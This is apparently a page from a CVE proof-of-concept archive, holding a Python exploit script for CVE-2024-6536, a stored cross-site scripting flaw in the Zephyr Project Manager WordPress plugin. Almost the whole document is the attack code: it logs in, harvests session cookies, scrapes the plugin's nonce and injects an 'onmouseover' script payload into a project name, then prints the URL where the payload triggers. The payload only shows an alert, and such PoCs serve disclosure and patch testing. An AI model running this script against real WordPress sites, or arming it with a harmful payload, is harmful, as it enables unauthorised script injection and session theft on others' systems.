4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-6536.py PY
#!/bin/python3

import requests
import argparse
import sys
import re


def authenticate(username: str, password: str, url: str) -> str:
    login_url = f'{url}/wp-login.php'
    data = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Log In'
    }

    response = requests.post(login_url, data=data, allow_redirects=False)
    if response.status_code == 302:
        set_cookie_header = response.headers.get('Set-Cookie', '')
        cookie_pattern = r'wordpress_(?!test_cookie)[^;]+|wordpress_logged_in_[^;]+'
        cookies = set_cookie_header.split('HttpOnly')
        filtered_cookies = [re.findall(cookie_pattern, cookie)[0] for cookie in cookies if re.findall(cookie_pattern, cookie)]
        return '; '.join(filtered_cookies)
    else:
        raise Exception(f'Unexpected status code returned from {login_url}: {response.status_code}')


def get_nonce(url: str, cookie: str) -> str:
    zpm_nonce_url = f'{url}/wp-admin/admin.php?page=zephyr_project_manager_projects'
    response = requests.get(zpm_nonce_url, headers={'Cookie': cookie})
    if response.status_code == 200:
        nonce_pattern = r'"zpm_nonce":"([^"]*)"'
        match = re.search(nonce_pattern, response.text)
        if match:
            return match.group(1)
        else:
            raise Exception('Nonce value not found in the response.')
    else:
        raise Exception(f'Unexpected status code returned from {zpm_nonce_url}: {response.status_code}')


def create_xss_project(url: str, cookie: str, nonce: str) -> None:
    post_url = f'{url}/wp-admin/admin-ajax.php'
    data = {
        "project_name": 'ProjectName" onmouseover="alert(42)"',
        "project_description": "Description",
        "project_categories": "",
        "project_due_date": "",
        "type": "list",
        "priority": "priority_none",
        "action": "zpm_new_project",
        "zpm_nonce": nonce
    }
    response = requests.post(post_url, headers={'Cookie': cookie}, data=data)
    if response.status_code == 200:
        print('\nXSS Project Name created successfully\n')
        project_id_match = re.search(r'data-project-id=\\"([0-9]*)', response.text)
        if project_id_match:
            project_id = project_id_match.group(1)
            malicious_url = f'{url}/wp-admin/admin.php?page=zephyr_project_manager_projects&action=edit_project&project={project_id}'
            print(f'XSS Url -> {malicious_url}')
        else:
            raise Exception('Project ID not found in the response.')
    else:
        raise Exception(f'Project creation failed with status code {response.status_code}')


def main(username: str, password: str, url: str) -> None:
    try:
        cookie = authenticate(username, password, url)
        nonce = get_nonce(url, cookie)
        create_xss_project(url, cookie, nonce)
    except Exception as e:
        sys.exit(f'ERROR: {str(e)}')


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        prog='CVE-2024-6536.py',
        description='PoC script for CVE-2024-6536. The script requires an authenticated user with Zephyr Admin privileges.',
        epilog='Vulnerability explanation at https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6536'
    )
    parser.add_argument('-u', '--username', required=True, help='Username for authentication')
    parser.add_argument('-p', '--password', required=True, help='Password for authentication')
    parser.add_argument('-w', '--wordpressUrl', required=True, help='Base URL of the WordPress site')
    arguments = parser.parse_args()

    main(arguments.username, arguments.password, arguments.wordpressUrl)